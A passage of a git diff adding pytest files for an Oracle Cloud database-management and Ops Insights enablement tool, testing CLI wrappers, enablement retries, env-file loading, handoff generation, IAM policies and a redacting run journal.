"/usr/bin/oci") + monkeypatch.setattr(subprocess, "run", _fake_run(0, stdout='[{"key": "FRA"}]')) + + check = check_session("cap", "eu-frankfurt-1") + + assert check.ok + assert "cap" in check.detail + + +def test_check_session_fails_when_unauthenticated(monkeypatch) -> None: + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: "/usr/bin/oci") + monkeypatch.setattr(subprocess, "run", _fake_run(1, stderr="NotAuthenticated: session expired")) + + check = check_session("cap") + + assert not check.ok + assert "NotAuthenticated" in check.detail + + +def test_check_session_redacts_user_path(monkeypatch) -> None: + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: "/usr/bin/oci") + monkeypatch.setattr(subprocess, "run", _fake_run(1, stderr="ERROR in /Users/someone/.oci/config")) + + check = check_session("cap") + + assert "/Users/someone" not in check.detail + assert "/Users/" in check.detail + + +def test_check_session_missing_cli(monkeypatch) -> None: + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: None) + + assert not check_session("cap").ok + + +def test_check_environment_flags_old_oci_cli(monkeypatch) -> None: + monkeypatch.setattr(sys, "version_info", (3, 11, 0)) + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: f"/usr/bin/{name}") + + def fake_run(command, check=False, capture_output=True, text=True): + if command == ["oci", "--version"]: + return subprocess.CompletedProcess(command, 0, "3.36.0\n", "") + return subprocess.CompletedProcess(command, 0, "Terraform v1.8.0\n", "") + + monkeypatch.setattr(subprocess, "run", fake_run) + + oci_check = next(check for check in check_environment() if check.name == "oci") + + assert not oci_check.ok + assert "3.36.0" in oci_check.detail + + +def test_check_environment_accepts_new_oci_cli(monkeypatch) -> None: + monkeypatch.setattr(sys, "version_info", (3, 11, 0)) + monkeypatch.setattr("dbman_opsi.doctor.shutil.which", lambda name: f"/usr/bin/{name}") + + def fake_run(command, check=False, capture_output=True, text=True): + if command == ["oci", "--version"]: + return subprocess.CompletedProcess(command, 0, "3.37.0\n", "") + return subprocess.CompletedProcess(command, 0, "Terraform v1.8.0\n", "") + + monkeypatch.setattr(subprocess, "run", fake_run) + + oci_check = next(check for check in check_environment() if check.name == "oci") + + assert oci_check.ok + assert oci_check.detail == "3.37.0" diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_enablement.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_enablement.py new file mode 100644 index 000000000..4d3a91676 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_enablement.py @@ -0,0 +1,500 @@ +import logging + +from dbman_opsi.config import Target +from dbman_opsi.enablement import EnablementService + + +class FakeOci: + def __init__(self, fail_on_index: int | None = None, fail_text: str = "", insights=None, + db_status: str = "DOWN") -> None: + self.commands: list[list[str]] = [] + self.fail_on_index = fail_on_index + self.fail_text = fail_text + self.insights = insights or [] + self.db_status = db_status + + def list_opsi_database_insights(self, compartment_id): + return self.insights + + def get_managed_database_status(self, managed_database_id): + return self.db_status + + def run(self, args: list[str]) -> None: + index = len(self.commands) + self.commands.append(args) + if self.fail_on_index is not None and index == self.fail_on_index: + raise RuntimeError(self.fail_text) + + def run_tolerating(self, args: list[str], tolerated: tuple[str, ...]) -> bool: + try: + self.run(args) + return True + except RuntimeError as exc: + if any(marker in str(exc) for marker in tolerated): + return False + raise + + +def test_enable_cloud_database_requires_connection_fields() -> None: + service = EnablementService(FakeOci()) # type: ignore[arg-type] + target = Target(kind="dbcs", name="db1", resource_id="database-id") + + try: + service.enable_target(target) + except ValueError as exc: + assert "password_secret_id" in str(exc) + else: + raise AssertionError("Expected ValueError") + + +def test_enable_autonomous_invokes_opsi_command() -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + target = Target(kind="autonomous", name="adb", resource_id="autonomous-database-id") + + service.enable_target(target) + + assert oci.commands[0][:3] == ["db", "autonomous-database", "enable-autonomous-database-management"] + + +def test_enable_autonomous_invokes_database_management_when_configured() -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="autonomous", + name="adb", + resource_id="autonomous-database-id", + opsi_database_insight_id="database-insight-id", + ) + + service.enable_target(target) + + assert len(oci.commands) == 2 + assert oci.commands[1][:3] == ["opsi", "database-insights", "enable-autonomous-database"] + + +def test_enable_cloud_database_invokes_dbmgmt_and_opsi_commands() -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_database_insight_id="database-insight-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + assert oci.commands[0][:3] == ["db", "database", "enable-database-management"] + assert "--private-end-point-id" in oci.commands[0] + assert oci.commands[1][:3] == ["opsi", "database-insights", "enable-pe-comanaged-database"] + assert "file://credential-details.json" in oci.commands[1] + + +def test_enable_cloud_database_creates_opsi_insight_when_missing_id() -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + assert oci.commands[1][:3] == ["opsi", "database-insights", "create-pe-comanged-database"] + assert "--database-id" in oci.commands[1] + assert "--opsi-private-endpoint-id" in oci.commands[1] + assert "--dbm-private-endpoint-id" not in oci.commands[1] + assert "--database-resource-type" in oci.commands[1] + assert "--wait-for-state" in oci.commands[1] + assert "SUCCEEDED" in oci.commands[1] + assert "file://credential-details.json" in oci.commands[1] + + +def test_enable_cloud_database_tolerates_dbm_already_enabled(caplog) -> None: + # Database Management enable returns 409 "already enabled"; the run must + # swallow it and still issue the Ops Insights create (idempotent re-run). + oci = FakeOci( + fail_on_index=0, + fail_text=( + "Command failed (1): ... IncorrectState ... " + "Either DatabaseManagement is already enabled or request to enable it is already created." + ), + ) + service = EnablementService(oci) # type: ignore[arg-type] + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + # already-enabled DBM -> reconcile via modify, then still create the OPSI insight + assert oci.commands[0][:3] == ["db", "database", "enable-database-management"] + assert oci.commands[1][:3] == ["db", "database", "modify-database-management"] + assert "--service-name" in oci.commands[1] + assert oci.commands[2][:3] == ["opsi", "database-insights", "create-pe-comanged-database"] + assert "already enabled" in caplog.text + + +def _already_enabled_cdb_oci(db_status: str) -> FakeOci: + return FakeOci( + fail_on_index=0, + fail_text="IncorrectState: Either DatabaseManagement is already enabled or request to enable it is already created.", + insights=[{"database-id": "database-id", "lifecycle-state": "ACTIVE"}], # skip OPSI create noise + db_status=db_status, + ) + + +def _cdb_already_enabled_target() -> Target: + return Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + +def test_enable_skips_reconcile_when_monitoring_healthy(caplog) -> None: + oci = _already_enabled_cdb_oci(db_status="UP") + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + EnablementService(oci).enable_target(_cdb_already_enabled_target()) # type: ignore[arg-type] + + # DBM already enabled + healthy -> no modify reconcile. + assert not any("modify-database-management" in c for c in oci.commands) + assert "skipping reconcile" in caplog.text + + +def test_enable_reconciles_when_monitoring_not_healthy() -> None: + oci = _already_enabled_cdb_oci(db_status="DOWN") + EnablementService(oci).enable_target(_cdb_already_enabled_target()) # type: ignore[arg-type] + + assert any("modify-database-management" in c for c in oci.commands) + + +def test_enable_force_reconcile_modifies_even_when_healthy() -> None: + oci = _already_enabled_cdb_oci(db_status="UP") + EnablementService(oci).enable_target(_cdb_already_enabled_target(), force_reconcile=True) # type: ignore[arg-type] + + assert any("modify-database-management" in c for c in oci.commands) + + +def test_reconcile_pdb_uses_pluggable_modify_verb() -> None: + oci = FakeOci( + fail_on_index=0, + fail_text="IncorrectState: Either DatabaseManagement is already enabled or request to enable it is already created.", + ) + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="dbcs", + name="pdb1", + resource_id="pluggable-database-id", + database_role="PDB", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="pdb1.example.com", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + assert oci.commands[1][:3] == ["db", "pluggable-database", "modify-pluggable-database-management"] + assert "--pluggable-database-id" in oci.commands[1] + assert "--management-type" not in oci.commands[1] + assert "pdb1.example.com" in oci.commands[1] + + +def test_enable_cloud_database_reraises_untolerated_error() -> None: + oci = FakeOci(fail_on_index=0, fail_text="ServiceError: LimitExceeded quota reached") + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + try: + service.enable_target(target) + except RuntimeError as exc: + assert "LimitExceeded" in str(exc) + else: + raise AssertionError("Expected RuntimeError to propagate") + + +def test_enable_skips_opsi_create_when_insight_already_active(caplog) -> None: + oci = FakeOci(insights=[{"database-id": "database-id", "lifecycle-state": "ACTIVE"}]) + service = EnablementService(oci) # type: ignore[arg-type] + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + # DBM enable runs; OPSI create is skipped because an ACTIVE insight exists. + assert oci.commands[0][:3] == ["db", "database", "enable-database-management"] + assert not any("create-pe-comanged-database" in c for c in oci.commands) + assert "already ACTIVE" in caplog.text + + +def test_enable_active_check_uses_reliable_get_when_insight_ocid_known(caplog) -> None: + # When the insight OCID is configured, the active-check reads it via the + # reliable GET and never consults the flaky list — so a partial list that + # dropped the insight cannot drive an unnecessary create. + class FakeOciGet(FakeOci): + def __init__(self, detail): + super().__init__(insights=[]) # list would say "no insight" + self.detail = detail + self.list_calls = 0 + + def list_opsi_database_insights(self, compartment_id): + self.list_calls += 1 + return self.insights + + def get_opsi_database_insight(self, insight_id): + return self.detail + + oci = FakeOciGet({"lifecycle-state": "ACTIVE"}) + service = EnablementService(oci) # type: ignore[arg-type] + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + compartment_id="compartment-id", + password_secret_id="secret-id", + private_endpoint_id="dbm-private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + opsi_private_endpoint_id="opsi-private-endpoint-id", + opsi_database_insight_id="insight-ocid", + opsi_credential_details_file="credential-details.json", + opsi_connection_details_file="connection-details.json", + ) + + service.enable_target(target) + + assert not any("create-pe-comanged-database" in c for c in oci.commands) + assert oci.list_calls == 0 # reliable GET used, flaky list never touched + assert "already ACTIVE" in caplog.text + + +def test_enable_cloud_database_skips_opsi_when_payloads_missing(caplog) -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + target = Target( + kind="dbcs", + name="db1", + resource_id="database-id", + password_secret_id="secret-id", + private_endpoint_id="private-endpoint-id", + service_name="ORCLPDB1", + monitoring_user="DBSNMP", + ) + + service.enable_target(target) + + assert len(oci.commands) == 1 + assert "Skipping Ops Insights" in caplog.text + + +def test_enable_pdb_uses_pluggable_verb_without_management_type() -> None: + oci = FakeOci() + service = EnablementService(oci) # type: ignore[arg-type] + target = Target( + kind="dbcs", + name="pdb1", + resource_id="pluggable-database-id", + database_role="PDB", + parent_cdb_id="cdb-id", + password_secret_id="secret-id", + private_endpoint_id="private-endpoint-id", + service_name="PDB1", + monitoring_user="DBSNMP", + ) + + service.enable_target(target) + + command = oci.commands[0] + assert command[:3] == ["db", "pluggable-database", "enable-pluggable-database-management"] + assert "--pluggable-database-id" in command + assert "pluggable-database-id" not in [c for c in command if c == "--database-id"] + assert "--management-type" not in command + + +def test_enable_external_logs_next_step(caplog) -> None: + service = EnablementService(FakeOci()) # type: ignore[arg-type] + caplog.set_level(logging.INFO, logger="dbman_opsi.enablement") + + service.enable_target(Target(kind="external-db", name="external")) + + assert "run generated Management Agent script" in caplog.text + + +def test_enable_rejects_unknown_target_kind() -> None: + service = EnablementService(FakeOci()) # type: ignore[arg-type] + + try: + service.enable_target(Target(kind="bad", name="bad")) # type: ignore[arg-type] + except ValueError as exc: + assert "Unsupported" in str(exc) + else: + raise AssertionError("Expected ValueError") + + +class _OpsiCreateOci: + """Fake whose OPSI create raises a propagation error N times, then succeeds.""" + + def __init__(self, fail_times: int) -> None: + self.fail_times = fail_times + self.create_calls = 0 + + def get_opsi_database_insight(self, insight_id): # not used (no insight id) + return {} + + def list_opsi_database_insights(self, compartment_id): + return [] + + def run(self, args): + return None + + def run_tolerating(self, args, tolerated): + # Only the OPSI create-pe path reaches here in this test. + self.create_calls += 1 + if self.create_calls <= self.fail_times: + raise RuntimeError("400-MissingParameter, Provided database resource details were missing.") + return True + + +def test_opsi_create_retries_on_propagation_then_succeeds() -> None: + from dbman_opsi.config import Target + + oci = _OpsiCreateOci(fail_times=2) + sleeps: list[float] = [] + service = EnablementService( + oci, opsi_create_attempts=5, opsi_create_delay=0.0, sleeper=lambda d: sleeps.append(d) + ) # type: ignore[arg-type] + target = Target( + kind="dbcs", name="cdb", compartment_id="cmpt", resource_id="db-1", + service_name="svc", private_endpoint_id="dbmpe", opsi_private_endpoint_id="opsipe", + opsi_credential_details_file="cred.json", database_resource_type="database", + ) + + # Should retry past the 2 propagation failures and succeed on the 3rd attempt. + service._create_opsi_pe_comanaged(target) + assert oci.create_calls == 3 + assert len(sleeps) == 2 + + +def test_opsi_create_raises_after_exhausting_propagation_retries() -> None: + from dbman_opsi.config import Target + + oci = _OpsiCreateOci(fail_times=99) + service = EnablementService(oci, opsi_create_attempts=3, opsi_create_delay=0.0, sleeper=lambda d: None) # type: ignore[arg-type] + target = Target( + kind="dbcs", name="cdb", compartment_id="cmpt", resource_id="db-1", + service_name="svc", private_endpoint_id="dbmpe", opsi_private_endpoint_id="opsipe", + opsi_credential_details_file="cred.json", database_resource_type="database", + ) + try: + service._create_opsi_pe_comanaged(target) + except RuntimeError as exc: + assert "database resource" in str(exc) + else: + raise AssertionError("expected RuntimeError after retries exhausted") + assert oci.create_calls == 3 + + +class _DbmWaitOci: + """Fake whose DBM status reads ENABLING then ENABLED after a poll.""" + + def __init__(self, statuses): + self._statuses = list(statuses) + self.get_calls = 0 + + def get_database(self, database_id): + self.get_calls += 1 + st = self._statuses[min(self.get_calls - 1, len(self._statuses) - 1)] + return {"database-management-config": {"management-status": st}} + + +def test_wait_dbm_enabled_polls_until_enabled() -> None: + from dbman_opsi.config import Target + + oci = _DbmWaitOci(["ENABLING", "ENABLING", "ENABLED"]) + sleeps: list[float] = [] + service = EnablementService(oci, sleeper=lambda d: sleeps.append(d)) # type: ignore[arg-type] + service.dbm_wait_attempts = 5 + service.dbm_wait_delay = 0.0 + target = Target(kind="dbcs", name="cdb", resource_id="db-1", database_role="CDB") + + service._wait_dbm_enabled(target) + assert oci.get_calls == 3 # polled until ENABLED + assert len(sleeps) == 2 # slept between the two ENABLING reads + + +def test_wait_dbm_enabled_is_best_effort_when_unreadable() -> None: + from dbman_opsi.config import Target + + class _Blind: + pass # no get_database -> AttributeError, wait returns immediately + + service = EnablementService(_Blind(), sleeper=lambda d: None) # type: ignore[arg-type] + service._wait_dbm_enabled(Target(kind="dbcs", name="cdb", resource_id="db-1")) # must not raise diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_envfile.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_envfile.py new file mode 100644 index 000000000..2ce160cc2 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_envfile.py @@ -0,0 +1,43 @@ +import os +from pathlib import Path + +from dbman_opsi.envfile import load_env_file + + +def test_load_env_file_reads_local_variables(tmp_path: Path, monkeypatch) -> None: + env_file = tmp_path / ".env.local" + env_file.write_text( + "\n".join( + [ + "# local secrets", + "TF_VAR_db_admin_password='secret value'", + 'export TF_VAR_ssh_public_keys="[key]"', + "UNQUOTED=value # comment", + ] + ), + encoding="utf-8", + ) + for key in ("TF_VAR_db_admin_password", "TF_VAR_ssh_public_keys", "UNQUOTED"): + monkeypatch.delenv(key, raising=False) + + loaded = load_env_file(env_file) + + assert loaded == ("TF_VAR_db_admin_password", "TF_VAR_ssh_public_keys", "UNQUOTED") + assert os.environ["TF_VAR_db_admin_password"] == "secret value" + assert os.environ["TF_VAR_ssh_public_keys"] == "[key]" + assert os.environ["UNQUOTED"] == "value" + + +def test_load_env_file_does_not_override_existing_values(tmp_path: Path, monkeypatch) -> None: + env_file = tmp_path / ".env.local" + env_file.write_text("TF_VAR_db_admin_password=from-file\n", encoding="utf-8") + monkeypatch.setenv("TF_VAR_db_admin_password", "from-env") + + loaded = load_env_file(env_file) + + assert loaded == () + assert os.environ["TF_VAR_db_admin_password"] == "from-env" + + +def test_load_env_file_missing_file_is_noop(tmp_path: Path) -> None: + assert load_env_file(tmp_path / ".env.local") == () diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_handoff.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_handoff.py new file mode 100644 index 000000000..b3b013f1a --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_handoff.py @@ -0,0 +1,58 @@ +from pathlib import Path + +from dbman_opsi.config import EnablementConfig, Target +from dbman_opsi.handoff import generate_handoff, handoff_text + + +def _config(target: Target) -> EnablementConfig: + return EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", targets=(target,)) + + +def test_handoff_includes_enable_command_for_ready_cloud_target() -> None: + target = Target( + kind="dbcs", + name="cloud db", + resource_id="db-id", + service_name="PDB1", + monitoring_user="DBSNMP", + password_secret_id="secret-id", + private_endpoint_id="pe-id", + ) + text = handoff_text(target, _config(target)) + + assert "enable-database-management" in text + assert "--database-id db-id" in text + assert "NOTE: still missing" not in text + + +def test_handoff_flags_missing_fields() -> None: + target = Target(kind="dbcs", name="cloud db", resource_id="db-id") + text = handoff_text(target, _config(target)) + + assert "NOTE: still missing" in text + assert "password_secret_id" in text + + +def test_handoff_external_target_points_at_agent_script() -> None: + target = Target(kind="external-db", name="salesdb", external_host="db.internal") + text = handoff_text(target, _config(target)) + + assert "Management Agent script" in text + assert "enable-database-management" not in text + + +def test_generate_handoff_writes_scripts_and_doc(tmp_path: Path) -> None: + target = Target(kind="dbcs", name="cloud db", service_name="PDB1", monitoring_user="DBSNMP") + paths = generate_handoff(_config(target), tmp_path) + + assert (tmp_path / "cloud-db" / "HANDOFF.md").exists() + assert (tmp_path / "cloud-db" / "01-create-monitoring-user.sql").exists() + assert any(path.name == "HANDOFF.md" for path in paths) + + +def test_generate_handoff_skips_autonomous(tmp_path: Path) -> None: + target = Target(kind="autonomous", name="adb", resource_id="adb-id") + paths = generate_handoff(_config(target), tmp_path) + + assert paths == [] + assert not (tmp_path / "adb").exists() diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_iam.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_iam.py new file mode 100644 index 000000000..e203b917f --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_iam.py @@ -0,0 +1,14 @@ +from dbman_opsi.config import EnablementConfig +from dbman_opsi.iam import policy_statements + + +def test_policy_statements_cover_required_services() -> None: + config = EnablementConfig(profile="DEFAULT", region="eu-frankfurt-1", compartment_id="compartment-id") + + statements = "\n".join(policy_statements(config)) + + assert "database-management-family" in statements + assert "opsi-family" in statements + assert "management-agents" in statements + assert "secret-family" in statements + assert "virtual-network-family" in statements diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_journal.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_journal.py new file mode 100644 index 000000000..b1507b050 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_journal.py @@ -0,0 +1,162 @@ +import json +from pathlib import Path + +import pytest + +from dbman_opsi.journal import RunJournal, summarize +from dbman_opsi.runner import CommandRunner + + +def _read_jsonl(path: Path) -> list[dict[str, object]]: + return [json.loads(line) for line in path.read_text(encoding="utf-8").splitlines()] + + +def test_journal_appends_redacted_command_entries(tmp_path: Path) -> None: + journal = RunJournal( + run_id="run-123", + profile="DEFAULT", + region="eu-frankfurt-1", + root=tmp_path / "runs", + now=lambda: 1710000000.25, + ) + + journal.record( + argv=[ + "oci", + "db", + "get", + "--database-id", + "ocid1" + ".database.oc1..aaaaaaaa", + "--endpoint", + "10.42.7.9", + ], + returncode=0, + duration_ms=42, + dry_run=False, + ) + + entries = _read_jsonl(tmp_path / "runs" / "run-123.jsonl") + assert entries == [ + { + "ts": 1710000000.25, + "run_id": "run-123", + "profile": "DEFAULT", + "region": "eu-frankfurt-1", + "argv_redacted": [ + "oci", + "db", + "get", + "--database-id", + "", + "--endpoint", + "", + ], + "returncode": 0, + "duration_ms": 42, + "dry_run": False, + } + ] + raw = (tmp_path / "runs" / "run-123.jsonl").read_text(encoding="utf-8") + assert "ocid1" + "." not in raw + assert "10.42.7.9" not in raw + + +def test_journal_appends_one_json_line_per_record(tmp_path: Path) -> None: + values = iter((1.0, 2.0)) + journal = RunJournal( + run_id="run-append", + profile="p", + region="r", + root=tmp_path / "runs", + now=lambda: next(values), + ) + + journal.record(argv=["first"], returncode=0, duration_ms=1, dry_run=True) + journal.record(argv=["second"], returncode=7, duration_ms=2, dry_run=False) + + lines = (tmp_path / "runs" / "run-append.jsonl").read_text(encoding="utf-8").splitlines() + assert len(lines) == 2 + assert [json.loads(line)["argv_redacted"] for line in lines] == [["first"], ["second"]] + + +def test_runner_journals_live_command_and_keeps_raw_stdout(tmp_path: Path) -> None: + ocid = "ocid1" + ".database.oc1..realexample" + journal = RunJournal( + run_id="run-live", + profile="DEFAULT", + region="eu-frankfurt-1", + root=tmp_path / "runs", + now=lambda: 500.0, + ) + ticks = iter((100.0, 100.125)) + runner = CommandRunner(dry_run=False, journal=journal, run_id="run-live", clock=lambda: next(ticks)) + + result = runner.run(["python3", "-c", f"print('{{\"id\": \"{ocid}\"}}')", ocid]) + + assert result.json()["id"] == ocid + entries = _read_jsonl(tmp_path / "runs" / "run-live.jsonl") + assert entries[0]["returncode"] == 0 + assert entries[0]["duration_ms"] == 125 + assert entries[0]["dry_run"] is False + raw = (tmp_path / "runs" / "run-live.jsonl").read_text(encoding="utf-8") + assert "ocid1" + "." not in raw + + +def test_runner_journals_dry_run_commands(tmp_path: Path) -> None: + journal = RunJournal( + run_id="run-dry", + profile="DEFAULT", + region="eu-frankfurt-1", + root=tmp_path / "runs", + now=lambda: 600.0, + ) + ticks = iter((20.0, 20.003)) + runner = CommandRunner(dry_run=True, journal=journal, run_id="run-dry", clock=lambda: next(ticks)) + + result = runner.run(["oci", "db", "get", "--database-id", "ocid1" + ".database.oc1..dryrun"]) + + assert result.returncode == 0 + assert result.json() == {} + entries = _read_jsonl(tmp_path / "runs" / "run-dry.jsonl") + assert entries[0]["dry_run"] is True + assert entries[0]["duration_ms"] == 3 + assert "ocid1" + "." not in (tmp_path / "runs" / "run-dry.jsonl").read_text(encoding="utf-8") + + +def test_run_journal_reads_jsonl_and_summarizes_failures(tmp_path: Path) -> None: + root = tmp_path / "runs" + root.mkdir() + path = root / "run-read.jsonl" + first = { + "argv_redacted": ["oci", "db", "get"], + "returncode": 0, + "duration_ms": 12, + } + second = { + "argv_redacted": ["oci", "db", "bad"], + "returncode": 2, + "duration_ms": 8, + } + path.write_text( + json.dumps(first) + "\n" + json.dumps(second) + "\n", + encoding="utf-8", + ) + + entries = RunJournal.read("run-read", root=root) + summary = summarize(entries) + + assert entries == [first, second] + assert summary == { + "command_count": 2, + "total_duration_ms": 20, + "failures": [second], + } + + +def test_run_journal_rejects_pathlike_run_id(tmp_path: Path) -> None: + root = tmp_path / "runs" + root.mkdir() + (tmp_path / "outside.jsonl").write_text('{"returncode": 0}\n', encoding="utf-8") + + with pytest.raises(ValueError, match="plain run id"): + RunJournal.read("../outside", root=root) diff --git a/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_cli.py b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_cli.py new file mode 100644 index 000000000..efa967623 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/tests/test_oci_cli.py @@ -0,0 +1,257 @@ +from dbman_opsi.oci_cli import OciCli +from dbman_opsi.runner import CommandResult, OciError + + +class FakeRunner: + def __init__(self, payload): + self.payload = payload + self.commands = [] + self.retry_flags = [] + + def run(self, args, cwd=None, check=True, retry_on_transient=False): + self.commands.append(args) + self.retry_flags.append(retry_on_transient) + return CommandResult(tuple(args), self.payload, "", 0) + + +def test_oci_cli_adds_profile_region_and_json_output() -> None: + runner = FakeRunner('{"data": [{"id": "vcn-id"}]}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + vcns = oci.list_vcns("compartment-id") + + assert vcns == [{"id": "vcn-id"}] + assert runner.commands[0][:5] == ["oci", "--profile", "DEFAULT", "--region", "eu-frankfurt-1"] + assert runner.commands[0][-2:] == ["--output", "json"] + assert runner.retry_flags == [True] + + +def test_oci_cli_reads_profile_tenancy_from_config(tmp_path, monkeypatch) -> None: + config = tmp_path / "oci-config" + config.write_text("[cap]\ntenancy = tenancy-id\n", encoding="utf-8") + monkeypatch.setenv("OCI_CONFIG_FILE", str(config)) + oci = OciCli("cap", "eu-frankfurt-1", FakeRunner("{}")) # type: ignore[arg-type] + + assert oci.profile_tenancy() == "tenancy-id" + + +def test_oci_cli_lists_known_resource_types() -> None: + runner = FakeRunner('{"data": []}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.list_compartments("tenancy-id") == [] + assert oci.list_subnets("compartment-id", "vcn-id") == [] + assert oci.list_db_systems("compartment-id") == [] + assert oci.list_databases("compartment-id", "db-system-id") == [] + assert oci.get_database("database-id") == {} + assert oci.list_autonomous_databases("compartment-id") == [] + assert oci.get_autonomous_database("autonomous-database-id") == {} + assert oci.list_exadata_infrastructure("compartment-id") == [] + assert oci.list_management_agents("compartment-id") == [] + assert oci.list_vaults("compartment-id") == [] + assert oci.list_secrets("compartment-id") == [] + assert oci.list_db_management_private_endpoints("compartment-id") == [] + assert oci.list_opsi_private_endpoints("compartment-id") == [] + + +def test_oci_cli_database_list_does_not_use_unsupported_all_flag() -> None: + runner = FakeRunner('{"data": []}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.list_databases("compartment-id", "db-system-id") == [] + + command = runner.commands[0] + assert command[5:8] == ["db", "database", "list"] + assert "--all" not in command + + +def test_oci_cli_extracts_nested_items_response() -> None: + runner = FakeRunner('{"data": {"items": [{"name": "pe"}]}}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.list_db_management_private_endpoints("compartment-id") == [{"name": "pe"}] + + +def test_oci_cli_get_methods_unwrap_data() -> None: + runner = FakeRunner('{"data": {"lifecycle-state": "ACTIVE"}}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.get_subnet("subnet-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_vcn("vcn-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_route_table("rt-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_security_list("sl-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_db_system("db-system-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_db_management_private_endpoint("pe-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_opsi_private_endpoint("pe-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_secret("secret-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_group("group-id") == {"lifecycle-state": "ACTIVE"} + assert oci.get_management_agent("agent-id") == {"lifecycle-state": "ACTIVE"} + + +def test_oci_cli_list_methods_use_expected_verbs() -> None: + runner = FakeRunner('{"data": []}') + oci = OciCli("DEFAULT", "eu-frankfurt-1", runner) # type: ignore[arg-type] + + assert oci.list_service_gateways("compartment-id", "vcn-id") == [] + assert oci.list_policies("compartment-id") == [] + assert oci.list_secrets("compartment-id") == [] + assert 